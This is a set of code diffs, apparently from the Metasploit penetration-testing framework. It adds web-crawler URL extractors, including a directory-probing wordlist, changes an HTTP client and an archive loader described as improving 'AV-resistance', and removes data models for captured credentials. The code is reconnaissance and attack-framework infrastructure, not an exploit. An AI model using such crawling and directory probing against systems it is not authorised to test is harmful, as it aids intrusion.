class Anemone::Extractors::Anchors < Anemone::Extractors::Base
def run
doc.search( '//a[@href]' ).map { |a| a['href'] }
end
end

View File

@ -0,0 +1,12 @@
class Anemone::Extractors::Dirbuster < Anemone::Extractors::Base
def run
return [] if page.code.to_i != 200
@@dirs ||= nil
return @@dirs if @@dirs
@@dirs = IO.read( File.dirname( __FILE__ ) + '/dirbuster/directories' ).split( "\n" )
end
end

View File

@ -0,0 +1,10 @@
test/
tmp/
stuff/
awstats/
awstats/awstats/
basilic/
cacti/
docs/text/manual.txt
docs/CHANGELOG
docs/html/php_script_server.html

View File

@ -0,0 +1,7 @@
class Anemone::Extractors::Forms < Anemone::Extractors::Base
def run
doc.search( '//form[@action]' ).map { |a| a['action'] }
end
end

View File

@ -0,0 +1,7 @@
class Anemone::Extractors::Frames < Anemone::Extractors::Base
def run
doc.css( 'frame', 'iframe' ).map { |a| a.attributes['src'].content rescue next }
end
end

View File

@ -0,0 +1,50 @@
require 'uri'
class Anemone::Extractors::Generic < Anemone::Extractors::Base
def run
URI.extract( doc.to_s, %w(http https) ).map do |u|
#
# This extractor needs to be a tiny bit intelligent because
# due to its generic nature it'll inevitably match some garbage.
#
# For example, if some JS code contains:
#
# var = 'http://blah.com?id=1'
#
# or
#
# var = { 'http://blah.com?id=1', 1 }
#
#
# The URI.extract call will match:
#
# http://blah.com?id=1'
#
# and
#
# http://blah.com?id=1',
#
# respectively.
#
if !includes_quotes?( u )
u
else
if html.include?( "'#{u}" )
u.split( '\'' ).first
elsif html.include?( "\"#{u}" )
u.split( '"' ).first
else
u
end
end
end
rescue
[]
end
def includes_quotes?( url )
url.include?( '\'' ) || url.include?( '"' )
end
end

View File

@ -0,0 +1,7 @@
class Anemone::Extractors::Links < Anemone::Extractors::Base
def run
doc.search( "//link[@href]" ).map { |a| a['href'] }
end
end

View File

@ -0,0 +1,24 @@
class Anemone::Extractors::MetaRefresh < Anemone::Extractors::Base
def run
doc.search( "//meta[@http-equiv='refresh']" ).map do |url|
begin
_, url = url['content'].split( ';', 2 )
next if !url
unquote( url.split( '=', 2 ).last )
rescue
next
end
end
rescue
nil
end
def unquote( str )
[ '\'', '"' ].each do |q|
return str[1...-1] if str.start_with?( q ) && str.end_with?( q )
end
str
end
end

View File

@ -0,0 +1,7 @@
class Anemone::Extractors::Scripts < Anemone::Extractors::Base
def run
doc.search( '//script[@src]' ).map { |a| a['src'] }
end
end

View File

@ -3,6 +3,22 @@ require 'ostruct'
require 'webrick/cookie' require 'webrick/cookie'
module Anemone module Anemone
# Path extractor container namespace.
module Extractors
class Base
attr_reader :page
def initialize( page )
@page = page
end
def doc
page.doc
end
end
end
class Page class Page
# The URL of the page # The URL of the page
@ -31,7 +47,7 @@ module Anemone
attr_accessor :response_time attr_accessor :response_time
# Storage for the original HTTP request that generated this response # Storage for the original HTTP request that generated this response
attr_accessor :request attr_accessor :request
# #
# Create a new page # Create a new page
# #
@ -53,51 +69,52 @@ module Anemone
@fetched = !params[:code].nil? @fetched = !params[:code].nil?
end end
def self.extractors
return @extractors if @extractors
lib = File.dirname( __FILE__ ) + '/extractors/*.rb'
Dir.glob( lib ).each { |e| require e }
@extractors = Extractors.constants.map do |e|
next if e == :Base
Extractors.const_get( e )
end.compact
end
def run_extractors
return [] if !doc
self.class.extractors.map { |e| e.new( self ).run rescue next }.flatten.
compact.map do |p|
abs = to_absolute( URI( p ) ) rescue next
!in_domain?( abs ) ? nil : abs
end.compact.uniq
end
# #
# Array of distinct A tag HREFs from the page # Array of distinct A tag HREFs from the page
# #
# MODIFIED: Dig URLs from elements other than "A" refs # MODIFIED: Dig URLs from elements other than "A" refs
# #
def links def links
return @links unless @links.nil? return @links if @links
@links = [] @links = []
return @links if !doc return @links if !doc
# First extract normal, direct links
etypes = %W{a frame iframe}
doc.css(*etypes).each do |r|
u = r['src'] || r['href']
next if u.nil? or u.empty?
abs = to_absolute(URI(u)) rescue next
@links << abs if in_domain?(abs)
end
# Now create links from other content URLs @links = run_extractors
etypes = %W{img script link form}
doc.css(*etypes).each do |r| @links |= @links.map do |u|
u = r['src'] || r['href'] || r['action'] # back-off to the parent dir
next if u.nil? or u.empty? to_absolute( URI( u.path.gsub( /(.*\/)[^\/]+$/, "\\1" ) ) ) rescue next
end.uniq.compact
# Remove any query string
u,tmp = u.split('?',2) @links |= @links.map do |u|
bits = u.path.split( '/' )
# Back off to the containing directory while bits.length > 0
u.gsub!(/(.*\/)[^\/]+$/, "\\1")
abs = to_absolute(URI(u)) rescue next
@links << abs if in_domain?(abs)
end
nlinks = []
@links.each do |u|
bits = u.path.split('/')
while(bits.length > 0)
bits.pop bits.pop
nlinks << to_absolute(URI(bits.join('/'))) rescue next to_absolute( URI( bits.join( '/' ) ) ) rescue next
end end
end end.uniq.compact
@links.push(nlinks)
@links.flatten! @links.flatten!
@links.uniq! @links.uniq!
@links @links
@ -206,7 +223,7 @@ module Anemone
'headers' => Marshal.dump(@headers), 'headers' => Marshal.dump(@headers),
'data' => Marshal.dump(@data), 'data' => Marshal.dump(@data),
'body' => @body, 'body' => @body,
'links' => links.map(&:to_s), 'links' => links.map(&:to_s),
'code' => @code, 'code' => @code,
'visited' => @visited, 'visited' => @visited,
'depth' => @depth, 'depth' => @depth,
@ -234,5 +251,10 @@ module Anemone
end end
page page
end end
def dup
Marshal.load( Marshal.dump( self ) )
end
end end
end end

View File

@ -5,7 +5,7 @@ require 'anemone/cookie_store'
# #
# This is an alternate Anemone::HTTP implementation that uses the Metasploit Rex # This is an alternate Anemone::HTTP implementation that uses the Metasploit Rex
# library and the Rex::Proto::Http protocol stack. # library and the Rex::Proto::Http protocol stack.
# #
module Anemone module Anemone
@ -39,7 +39,7 @@ module Anemone
url = URI(url) unless url.is_a?(URI) url = URI(url) unless url.is_a?(URI)
pages = [] pages = []
get(url, referer) do |response, code, location, redirect_to, response_time| get(url, referer) do |response, code, location, redirect_to, response_time|
page = Page.new(location, :body => response.body.dup, page = Page.new(location, :body => response.body.dup,
:code => code, :code => code,
:headers => response.headers, :headers => response.headers,
@ -84,7 +84,7 @@ module Anemone
def virtual_host(url) def virtual_host(url)
url.host url.host
end end
# #
# Does this HTTP client accept cookies from the server? # Does this HTTP client accept cookies from the server?
# #
@ -109,15 +109,15 @@ module Anemone
response, response_time = get_response(loc, referer) response, response_time = get_response(loc, referer)
code = response.code.to_i code = response.code.to_i
redirect_to = nil redirect_to = nil
if code >= 300 and code <= 310 if code >= 300 and code <= 310
redirect_to = URI(response['location']).normalize redirect_to = URI(response['location']).normalize
end end
yield response, code, loc, redirect_to, response_time yield response, code, loc, redirect_to, response_time
limit -= 1 limit -= 1
end while (loc = redirect_to) && allowed?(redirect_to, url) && limit > 0 end while (loc = redirect_to) && allowed?(redirect_to, url) && limit > 0
end end
@ -129,12 +129,11 @@ module Anemone
# it is sent to the remote system. # it is sent to the remote system.
# #
def get_response(url, referer = nil) def get_response(url, referer = nil)
full_path = url.query.nil? ? url.path : "#{url.path}?#{url.query}"
opts = { opts = {
'uri' => url.path 'uri' => url.path,
'query' => url.query
} }
opts['agent'] = user_agent if user_agent opts['agent'] = user_agent if user_agent
opts['cookie'] = @cookie_store.to_s unless @cookie_store.empty? || (!accept_cookies? && @opts[:cookies].nil?) opts['cookie'] = @cookie_store.to_s unless @cookie_store.empty? || (!accept_cookies? && @opts[:cookies].nil?)
@ -142,7 +141,7 @@ module Anemone
if referer if referer
head['Referer'] = referer.to_s head['Referer'] = referer.to_s
end end
if @opts[:http_basic_auth] if @opts[:http_basic_auth]
head['Authorization'] = "Basic " + @opts[:http_basic_auth] head['Authorization'] = "Basic " + @opts[:http_basic_auth]
end end
@ -151,24 +150,24 @@ module Anemone
k,v = hdr.split(':', 2) k,v = hdr.split(':', 2)
head[k] = v head[k] = v
end end
opts['headers'] = head opts['headers'] = head
retries = 0 retries = 0
begin begin
start = Time.now() start = Time.now()
response = nil response = nil
request = nil request = nil
begin begin
conn = connection(url) conn = connection(url)
request = conn.request_raw(opts) request = conn.request_raw(opts)
response = conn.send_recv(request, @opts[:timeout] || 10 ) response = conn.send_recv(request, @opts[:timeout] || 10 )
rescue ::Errno::EPIPE, ::Timeout::Error rescue ::Errno::EPIPE, ::Timeout::Error
end end
finish = Time.now() finish = Time.now()
response_time = ((finish - start) * 1000).round response_time = ((finish - start) * 1000).round
@cookie_store.merge!(response['Set-Cookie']) if accept_cookies? @cookie_store.merge!(response['Set-Cookie']) if accept_cookies?
return response, response_time return response, response_time
@ -191,12 +190,12 @@ module Anemone
'SSLv23', 'SSLv23',
@opts[:proxies] @opts[:proxies]
) )
conn.set_config( conn.set_config(
'vhost' => virtual_host(url), 'vhost' => virtual_host(url),
'agent' => user_agent 'agent' => user_agent
) )
conn conn
end end

View File

@ -8,7 +8,7 @@
# #
# #
# This format was specifically created to improve the performance and # This format was specifically created to improve the performance and
# AV-resistance of the Metasploit Framework and Rex libraries. # AV-resistance of the Metasploit Framework and Rex libraries.
# #
@ -26,7 +26,7 @@ require "find"
# Copyright (C) 2011 Rapid7. You can redistribute it and/or # Copyright (C) 2011 Rapid7. You can redistribute it and/or
# modify it under the terms of the ruby license. # modify it under the terms of the ruby license.
# #
# #
# Roughly based on the rubyzip zip/ziprequire library: # Roughly based on the rubyzip zip/ziprequire library:
# >> Copyright (C) 2002 Thomas Sondergaard # >> Copyright (C) 2002 Thomas Sondergaard
# >> rubyzip is free software; you can redistribute it and/or # >> rubyzip is free software; you can redistribute it and/or
@ -42,10 +42,10 @@ class FastLib
FLAG_COMPRESS = 0x01 FLAG_COMPRESS = 0x01
FLAG_ENCRYPT = 0x02 FLAG_ENCRYPT = 0x02
@@cache = {} @@cache = {}
@@has_zlib = false @@has_zlib = false
# #
# Load zlib support if possible # Load zlib support if possible
# #
@ -54,16 +54,16 @@ class FastLib
@@has_zlib = true @@has_zlib = true
rescue ::LoadError rescue ::LoadError
end end
# #
# This method returns the version of the fastlib library # This method returns the version of the fastlib library
# #
def self.version def self.version
VERSION VERSION
end end
# #
# This method loads content from a specific archive file by name. If the # This method loads content from a specific archive file by name. If the
# noprocess argument is set to true, the contents will not be expanded to # noprocess argument is set to true, the contents will not be expanded to
# include workarounds for things such as __FILE__. This is useful when # include workarounds for things such as __FILE__. This is useful when
# loading raw binary data where these strings may occur # loading raw binary data where these strings may occur
@ -72,55 +72,55 @@ class FastLib
data = "" data = ""
load_cache(lib) load_cache(lib)
return if not ( @@cache[lib] and @@cache[lib][name] ) return unless ( @@cache[lib] and @@cache[lib][name] )
::File.open(lib, "rb") do |fd| ::File.open(lib, "rb") do |fd|
fd.seek( fd.seek(
@@cache[lib][:fastlib_header][0] + @@cache[lib][:fastlib_header][0] +
@@cache[lib][:fastlib_header][1] + @@cache[lib][:fastlib_header][1] +
@@cache[lib][name][0] @@cache[lib][name][0]
) )
data = fastlib_filter_decode( lib, fd.read(@@cache[lib][name][1] )) data = fastlib_filter_decode( lib, fd.read(@@cache[lib][name][1] ))
end end
# Return the contents in raw or processed form # Return the contents in raw or processed form
noprocess ? data : post_process(lib, name, data) noprocess ? data : post_process(lib, name, data)
end end
# #
# This method caches the file list and offsets within the archive # This method caches the file list and offsets within the archive
# #
def self.load_cache(lib) def self.load_cache(lib)
return if @@cache[lib] return if @@cache[lib]
@@cache[lib] = {} @@cache[lib] = {}
return if not ::File.exists?(lib) return if not ::File.exists?(lib)
::File.open(lib, 'rb') do |fd| ::File.open(lib, 'rb') do |fd|
dict = {} dict = {}
head = fd.read(4) head = fd.read(4)
return if head != "FAST" return if head != "FAST"
hlen = fd.read(4).unpack("N")[0] hlen = fd.read(4).unpack("N")[0]
flag = fd.read(4).unpack("N")[0] flag = fd.read(4).unpack("N")[0]
@@cache[lib][:fastlib_header] = [12, hlen, fd.stat.mtime.utc.to_i ] @@cache[lib][:fastlib_header] = [12, hlen, fd.stat.mtime.utc.to_i ]
@@cache[lib][:fastlib_flags] = flag @@cache[lib][:fastlib_flags] = flag
nlen, doff, dlen, tims = fd.read(16).unpack("N*") nlen, doff, dlen, tims = fd.read(16).unpack("N*")
while nlen > 0 while nlen > 0
name = fastlib_filter_decode( lib, fd.read(nlen) ) name = fastlib_filter_decode( lib, fd.read(nlen) )
dict[name] = [doff, dlen, tims] dict[name] = [doff, dlen, tims]
nlen, doff, dlen, tims = fd.read(16).unpack("N*") nlen, doff, dlen, tims = fd.read(16).unpack("N*")
end end
@@cache[lib].merge!(dict) @@cache[lib].merge!(dict)
end end
end end
# #
# This method provides compression and encryption capabilities # This method provides compression and encryption capabilities
# for the fastlib archive format. # for the fastlib archive format.
@ -128,7 +128,7 @@ class FastLib
def self.fastlib_filter_decode(lib, buff) def self.fastlib_filter_decode(lib, buff)
if (@@cache[lib][:fastlib_flags] & FLAG_ENCRYPT) != 0 if (@@cache[lib][:fastlib_flags] & FLAG_ENCRYPT) != 0
@@cache[lib][:fastlib_decrypt] ||= ::Proc.new do |data| @@cache[lib][:fastlib_decrypt] ||= ::Proc.new do |data|
stub = "decrypt_%.8x" % ( @@cache[lib][:fastlib_flags] & 0xfffffff0 ) stub = "decrypt_%.8x" % ( @@cache[lib][:fastlib_flags] & 0xfffffff0 )
FastLib.send(stub, data) FastLib.send(stub, data)
@ -136,7 +136,7 @@ class FastLib
buff = @@cache[lib][:fastlib_decrypt].call( buff ) buff = @@cache[lib][:fastlib_decrypt].call( buff )
end end
if (@@cache[lib][:fastlib_flags] & FLAG_COMPRESS) != 0 if (@@cache[lib][:fastlib_flags] & FLAG_COMPRESS) != 0
if not @@has_zlib if not @@has_zlib
raise ::RuntimeError, "zlib is required to open this archive" raise ::RuntimeError, "zlib is required to open this archive"
@ -145,9 +145,9 @@ class FastLib
z = Zlib::Inflate.new z = Zlib::Inflate.new
buff = z.inflate(buff) buff = z.inflate(buff)
buff << z.finish buff << z.finish
z.close z.close
end end
buff buff
end end
@ -156,7 +156,7 @@ class FastLib
# for the fastlib archive format. # for the fastlib archive format.
# #
def self.fastlib_filter_encode(lib, buff) def self.fastlib_filter_encode(lib, buff)
if (@@cache[lib][:fastlib_flags] & FLAG_COMPRESS) != 0 if (@@cache[lib][:fastlib_flags] & FLAG_COMPRESS) != 0
if not @@has_zlib if not @@has_zlib
raise ::RuntimeError, "zlib is required to open this archive" raise ::RuntimeError, "zlib is required to open this archive"
@ -165,11 +165,11 @@ class FastLib
z = Zlib::Deflate.new z = Zlib::Deflate.new
buff = z.deflate(buff) buff = z.deflate(buff)
buff << z.finish buff << z.finish
z.close z.close
end end
if (@@cache[lib][:fastlib_flags] & FLAG_ENCRYPT) != 0 if (@@cache[lib][:fastlib_flags] & FLAG_ENCRYPT) != 0
@@cache[lib][:fastlib_encrypt] ||= ::Proc.new do |data| @@cache[lib][:fastlib_encrypt] ||= ::Proc.new do |data|
stub = "encrypt_%.8x" % ( @@cache[lib][:fastlib_flags] & 0xfffffff0 ) stub = "encrypt_%.8x" % ( @@cache[lib][:fastlib_flags] & 0xfffffff0 )
FastLib.send(stub, data) FastLib.send(stub, data)
@ -177,60 +177,65 @@ class FastLib
buff = @@cache[lib][:fastlib_encrypt].call( buff ) buff = @@cache[lib][:fastlib_encrypt].call( buff )
end end
buff buff
end end
# This method provides a way to create a FASTLIB archive programatically.
# #
# This method provides a way to create a FASTLIB archive programatically, # @param [String] lib the output path for the archive
# the key arguments are the name of the destination archive, the base # @param [String] flag a string containing the hex values for the
# directory that should be excluded from the archived path, and finally # flags ({FLAG_COMPRESS} and {FLAG_ENCRYPT}).
# the list of specific files and directories to include in the archive. # @param [String] bdir the path to the base directory which will be
# # stripped from all paths included in the archive
# @param [Array<String>] dirs list of directories/files to pack into
# the archive. All dirs should be under bdir so that the paths are
# stripped correctly.
# @return [void]
def self.dump(lib, flag, bdir, *dirs) def self.dump(lib, flag, bdir, *dirs)
head = "" head = ""
data = "" data = ""
hidx = 0 hidx = 0
didx = 0 didx = 0
bdir = bdir.gsub(/\/$/, '') bdir = bdir.gsub(/\/$/, '')
brex = /^#{Regexp.escape(bdir)}\// brex = /^#{Regexp.escape(bdir)}\//
@@cache[lib] = { @@cache[lib] = {
:fastlib_flags => flag.to_i(16) :fastlib_flags => flag.to_i(16)
} }
dirs.each do |dir| dirs.each do |dir|
::Find.find(dir).each do |path| ::Find.find(dir) do |path|
next if not ::File.file?(path) next if not ::File.file?(path)
name = fastlib_filter_encode( lib, path.sub( brex, "" ) ) name = fastlib_filter_encode( lib, path.sub( brex, "" ) )
buff = "" buff = ""
::File.open(path, "rb") do |fd| ::File.open(path, "rb") do |fd|
buff = fastlib_filter_encode(lib, fd.read(fd.stat.size)) buff = fastlib_filter_encode(lib, fd.read(fd.stat.size))
end end
head << [ name.length, didx, buff.length, ::File.stat(path).mtime.utc.to_i ].pack("NNNN") head << [ name.length, didx, buff.length, ::File.stat(path).mtime.utc.to_i ].pack("NNNN")
head << name head << name
hidx = hidx + 16 + name.length hidx = hidx + 16 + name.length
data << buff data << buff
didx = didx + buff.length didx = didx + buff.length
end end
end end
head << [0,0,0].pack("NNN") head << [0,0,0].pack("NNN")
::File.open(lib, "wb") do |fd| ::File.open(lib, "wb") do |fd|
fd.write("FAST") fd.write("FAST")
fd.write( [ head.length, flag.to_i(16) ].pack("NN") ) fd.write( [ head.length, flag.to_i(16) ].pack("NN") )
fd.write( head ) fd.write( head )
fd.write( data ) fd.write( data )
end end
end end
# #
# This archive provides a way to list the contents of an archive # This archive provides a way to list the contents of an archive
# file, returning the names only in sorted order. # file, returning the names only in sorted order.
@ -239,7 +244,7 @@ class FastLib
load_cache(lib) load_cache(lib)
( @@cache[lib] || {} ).keys.map{|x| x.to_s }.sort.select{ |x| @@cache[lib][x] } ( @@cache[lib] || {} ).keys.map{|x| x.to_s }.sort.select{ |x| @@cache[lib][x] }
end end
# #
# This method is called on the loaded is required to expand __FILE__ # This method is called on the loaded is required to expand __FILE__
# and other inline dynamic constants to map to the correct location. # and other inline dynamic constants to map to the correct location.
@ -247,7 +252,7 @@ class FastLib
def self.post_process(lib, name, data) def self.post_process(lib, name, data)
data.gsub('__FILE__', "'#{ ::File.expand_path(::File.join(::File.dirname(lib), name)) }'") data.gsub('__FILE__', "'#{ ::File.expand_path(::File.join(::File.dirname(lib), name)) }'")
end end
# #
# This is a stub crypto handler that performs a basic XOR # This is a stub crypto handler that performs a basic XOR
# operation against a fixed one byte key. The two usable IDs # operation against a fixed one byte key. The two usable IDs
@ -256,25 +261,25 @@ class FastLib
def self.encrypt_12345600(data) def self.encrypt_12345600(data)
encrypt_00000000(data) encrypt_00000000(data)
end end
def self.decrypt_12345600(data) def self.decrypt_12345600(data)
encrypt_00000000(data) encrypt_00000000(data)
end end
def self.encrypt_00000000(data) def self.encrypt_00000000(data)
data.unpack("C*").map{ |c| c ^ 0x90 }.pack("C*") data.unpack("C*").map{ |c| c ^ 0x90 }.pack("C*")
end end
def self.decrypt_00000000(data) def self.decrypt_00000000(data)
encrypt_00000000(data) encrypt_00000000(data)
end end
# #
# Expose the cache to callers # Expose the cache to callers
# #
def self.cache def self.cache
@@cache @@cache
end end
end end
@ -288,7 +293,7 @@ if __FILE__ == $0
$stderr.puts "Usage: #{$0} [dump|list|version] <arguments>" $stderr.puts "Usage: #{$0} [dump|list|version] <arguments>"
exit(0) exit(0)
end end
case cmd case cmd
when "store" when "store"
dst = ARGV.shift dst = ARGV.shift
@ -300,7 +305,7 @@ if __FILE__ == $0
exit(0) exit(0)
end end
FastLib.dump(dst, flg, dir, *src) FastLib.dump(dst, flg, dir, *src)
when "list" when "list"
src = ARGV.shift src = ARGV.shift
unless src unless src
@ -319,7 +324,7 @@ if __FILE__ == $0
when "version" when "version"
$stdout.puts "FastLib Version #{FastLib.version}" $stdout.puts "FastLib Version #{FastLib.version}"
end end
exit(0) exit(0)
end end
@ -336,7 +341,7 @@ end
* The header entries always consist of 16 bytes + name length (no alignment) * The header entries always consist of 16 bytes + name length (no alignment)
* The header name data may be encoded, compressed, or transformed * The header name data may be encoded, compressed, or transformed
* The data entries may be encoded, compressed, or transformed too * The data entries may be encoded, compressed, or transformed too
4 bytes: "FAST" 4 bytes: "FAST"
4 bytes: NBO header length 4 bytes: NBO header length
@ -354,7 +359,7 @@ end
module Kernel #:nodoc:all module Kernel #:nodoc:all
alias :fastlib_original_require :require alias :fastlib_original_require :require
# #
# Store the CWD when were initially loaded # Store the CWD when were initially loaded
# required for resolving relative paths # required for resolving relative paths
@ -364,11 +369,11 @@ module Kernel #:nodoc:all
# #
# This method hooks the original Kernel.require to support # This method hooks the original Kernel.require to support
# loading files within FASTLIB archives # loading files within FASTLIB archives
# #
def require(name) def require(name)
fastlib_require(name) || fastlib_original_require(name) fastlib_require(name) || fastlib_original_require(name)
end end
# #
# This method handles the loading of FASTLIB archives # This method handles the loading of FASTLIB archives
# #
@ -377,24 +382,24 @@ module Kernel #:nodoc:all
return false if fastlib_already_loaded?(name) return false if fastlib_already_loaded?(name)
return false if fastlib_already_tried?(name) return false if fastlib_already_tried?(name)
# XXX Implement relative search paths within archives # XXX Implement relative search paths within archives
$:.map{ |path| $:.map{ |path|
(path =~ /^([A-Za-z]\:|\/)/ ) ? path : ::File.expand_path( ::File.join(@@fastlib_base_cwd, path) ) (path =~ /^([A-Za-z]\:|\/)/ ) ? path : ::File.expand_path( ::File.join(@@fastlib_base_cwd, path) )
}.map{ |path| ::Dir["#{path}/*.fastlib"] }.flatten.uniq.each do |lib| }.map{ |path| ::Dir["#{path}/*.fastlib"] }.flatten.uniq.each do |lib|
data = FastLib.load(lib, name) data = FastLib.load(lib, name)
next if not data next if not data
$" << name $" << name
Object.class_eval(data, lib + "::" + name) Object.class_eval(data, lib + "::" + name)
return true return true
end end
$fastlib_miss << name $fastlib_miss << name
false false
end end
# #
# This method determines whether the specific file name # This method determines whether the specific file name
# has already been loaded ($LOADED_FEATURES aka $") # has already been loaded ($LOADED_FEATURES aka $")
@ -412,11 +417,11 @@ module Kernel #:nodoc:all
# TODO: Ensure that this only applies to known FASTLIB # TODO: Ensure that this only applies to known FASTLIB
# archives and that newly included archives will # archives and that newly included archives will
# be searched appropriately. # be searched appropriately.
# #
def fastlib_already_tried?(name) def fastlib_already_tried?(name)
$fastlib_miss ||= [] $fastlib_miss ||= []
$fastlib_miss.include?(name) $fastlib_miss.include?(name)
end end
end end

View File

@ -10,13 +10,9 @@ require 'rubygems'
version = ">= 0" version = ">= 0"
if ARGV.first if ARGV.first =~ /^_(.*)_$/ and Gem::Version.correct? $1 then
str = ARGV.first version = $1
str = str.dup.force_encoding("BINARY") if str.respond_to? :force_encoding ARGV.shift
if str =~ /\A_(.*)_\z/
version = $1
ARGV.shift
end
end end
gem 'metasploit_data_models', version gem 'metasploit_data_models', version

View File

@ -1,6 +0,0 @@
.rvmrc
.DS_Store
*.gem
.bundle
Gemfile.lock
pkg/*

View File

@ -1,4 +0,0 @@
source "http://rubygems.org"
# Specify your gem's dependencies in metasploit_data_models.gemspec
gemspec

View File

@ -1,75 +0,0 @@
#MetasploitDataModels
The database layer for Metasploit
## Purpose
__MetasploitDataModels__ exists to do several key things:
1. Allow code sharing between Metasploit Framework (MSF) and the commercial versions of Metasploit (Community, Express, Pro -- usually referred to collectively as "Pro")
2. Give developers a lightweight entry point to MSF's backend for use in developing tools that gather data intended for later use with Metasploit (e.g. specialized scanners).
3. Make it easy to keep commercial stuff private while increasing the functionality of the open-source tools we provide to the community.
## Usage
### Rails
In a Rails application we simply include the ActiveRecord mixins directly, usually inside models with similar names.
### MSF
When MetasploitDataModels is included by MSF, the gem dynamically creates
ActiveRecord model classes.
Both of these behaviors are based on the assumption that the files in
__lib/metasploit_data_models/active_record_models__, though implemented here as
mixins, actually represent the basic ActiveRecord model structure that both Metasploit Framework and Metasploit Pro use.
### Elsewhere
__NOTE: This isn't in RubyGems yet. Using a Gemfile entry pointing to this repo (i.e., using [Bundler](http://gembundler.com)) is the suggested option for now.__
Usage outside of Rapid7 is still alpha, and we're not making many promises. That being said, usage is easy:
```ruby
connection_info = YAML.load_file("path/to/rails-style/db_config_file")
ActiveRecord::Base.establish_connection(connection_info['development'])
include MetasploitDataModels
MetasploitDataModels.create_and_load_ar_classes
```
Basically you need to do the following things:
1. Establish an ActiveRecord connection. A Rails __config/database.yml__ is ideal for this.
2. Include the MetasploitDataModels module.
3. Call the class method that builds the AR models into the Mdm namespace( __MetasploitDataModels.create_and_load_ar_classes__ ).
## Developer Info
### Console
The gem includes a console based on [Pry](https://github.com/pry/pry/)
Give it a path to a working MSF database.yml file for full
ActiveRecord-based access to your data.
__Note:__ "development" mode is hardcoded into the console currently.
### ActiveRecord::ConnectionError issues
Because the gem is defining mixins, there can be no knowledge of the
specifics of any "current" ActiveRecord connection. But if ActiveRecord
encounters something in a child class that would require knowledge of
the connection adapter (e.g. the use of an RDBMS-specific function in
a named scope's "WHERE" clause), it will check to see if the adapter
supports it and then throw an exception when the connection object
(which provides the adapter) is nil.
This means that, for all but the most trivial cases, you need to use Arel
versions of queries instead of ones utilizing straight SQL.
You'll encounter this sometimes if you do dev work on this gem. A good
rule of thumb: anything that goes into the class_eval block must be able
to work without knowledge of the AR connection adapter type.

View File

@ -1 +0,0 @@
require "bundler/gem_tasks"

View File

@ -1,63 +0,0 @@
require "active_record"
require "active_support"
require "active_support/all"
require "shellwords"
require "metasploit_data_models/version"
require "metasploit_data_models/serialized_prefs"
require "metasploit_data_models/base64_serializer"
require "metasploit_data_models/validators/ip_format_validator"
require "metasploit_data_models/validators/password_is_strong_validator"
# Declare the (blessedly short) common namespace for the ActiveRecord classes
module Mdm; end
module MetasploitDataModels
module ActiveRecordModels; end
# Dynamically create AR classes if being included from Msf::DBManager
# otherwise, just make the modules available for arbitrary inclusion.
def self.included(base)
ar_mixins.each{|file| require file}
create_and_load_ar_classes if base.to_s == 'Msf::DBManager'
end
# The code in each of these represents the basic structure of a correspondingly named
# ActiveRecord model class. Those classes are explicitly created in our Rails app
# for the commercial versions, and the functionality from the mixins is included
# into model classes directly.
#
# When not explicitly overloading the classes in your own files use MetasploitDataModels#create_and_load_ar_classes
# to dynamically generate ActiveRecord classes in the Mdm namespace.
def self.ar_mixins
models_dir = File.expand_path(File.dirname(__FILE__)) + "/metasploit_data_models/active_record_models"
Dir.glob("#{models_dir}/*.rb")
end
# Dynamically create ActiveRecord descendant classes in the Mdm namespace
def self.create_and_load_ar_classes
ar_module_names.each do |cname|
class_str =<<-RUBY
class Mdm::#{cname} < ActiveRecord::Base
include MetasploitDataModels::ActiveRecordModels::#{cname}
end
RUBY
eval class_str, binding, __FILE__, __LINE__ # *slightly* more obvious stack trace
end
end
# Derive "constant" strings from the names of the files in
# lib/metasploit_data_models/active_record_models
def self.ar_module_names
ar_mixins.inject([]) do |array, path|
filename = File.basename(path).split(".").first
c_name = filename.classify
c_name << "s" if filename =~ /^[\w]+s$/ # classify can't do plurals
array << c_name
array
end
end
end

View File

@ -1,22 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::ApiKey
def self.included(base)
base.class_eval {
validate do |key|
lic = License.get
if lic and not lic.supports_api?
key.errors[:unsupported_product] = " - this product does not support API access"
end
if key.token.to_s.empty?
key.errors[:blank_token] = " - the specified authentication token is empty"
end
if key.token.to_s.length < 8
key.errors[:token_too_short] = " - the specified authentication token must be at least 8 characters long"
end
end
}
end
end

View File

@ -1,8 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::Client
def self.included(base)
base.class_eval {
belongs_to :host, :class_name => "Mdm::Host"
belongs_to :campaign, :class_name => "Campaign"
}
end
end

View File

@ -1,78 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::Cred
def self.included(base)
base.class_eval{
belongs_to :service, :class_name => "Mdm::Service"
unless defined? PTYPES
const_def =<<-CONST_DEF
PTYPES = {
"read/write password" => "password_rw",
"read-only password" => "password_ro",
"SMB hash" => "smb_hash",
"SSH private key" => "ssh_key",
"SSH public key" => "ssh_pubkey"
}
CONST_DEF
eval(const_def)
end
eval("KEY_ID_REGEX = /([0-9a-fA-F:]{47})/") unless defined?(KEY_ID_REGEX) # Could be more strict
def ptype_human
humanized = PTYPES.select do |k, v|
v == ptype
end.keys[0]
humanized ? humanized : ptype
end
# Returns its workspace
def workspace
self.service.host.workspace
end
# Returns its key id. If this is not an ssh-type key, returns nil.
def ssh_key_id
return nil unless self.ptype =~ /^ssh_/
return nil unless self.proof =~ KEY_ID_REGEX
$1.downcase # Can't run into NilClass problems.
end
# Returns all private keys with matching key ids, including itself
# If this is not an ssh-type key, always returns an empty array.
def ssh_private_keys
return [] unless self.ssh_key_id
matches = self.class.all(:conditions => ["creds.ptype = ? AND creds.proof ILIKE ?", "ssh_key", "%#{self.ssh_key_id}%"])
matches.select {|c| c.workspace == self.workspace}
end
# Returns all public keys with matching key ids, including itself
# If this is not an ssh-type key, always returns an empty array.
def ssh_public_keys
return [] unless self.ssh_key_id
matches = self.class.all(:conditions => ["creds.ptype = ? AND creds.proof ILIKE ?", "ssh_pubkey", "%#{self.ssh_key_id}%"])
matches.select {|c| c.workspace == self.workspace}
end
# Returns all keys with matching key ids, including itself
# If this is not an ssh-type key, always returns an empty array.
def ssh_keys
(self.ssh_private_keys | self.ssh_public_keys)
end
def ssh_key_matches?(other_cred)
return false unless other_cred.kind_of? self.class
return false unless self.ptype == other_cred.ptype
case self.ptype
when "ssh_key"
matches = self.ssh_private_keys
when "ssh_pubkey"
matches = self.ssh_public_keys
else
false
end
matches.include?(self) and matches.include?(other_cred)
end
}
end
end

View File

@ -1,8 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::CredFile
def self.included(base)
base.class_eval{
belongs_to :workspace, :class_name => "Mdm::Workspace"
}
end
end

View File

@ -1,16 +0,0 @@
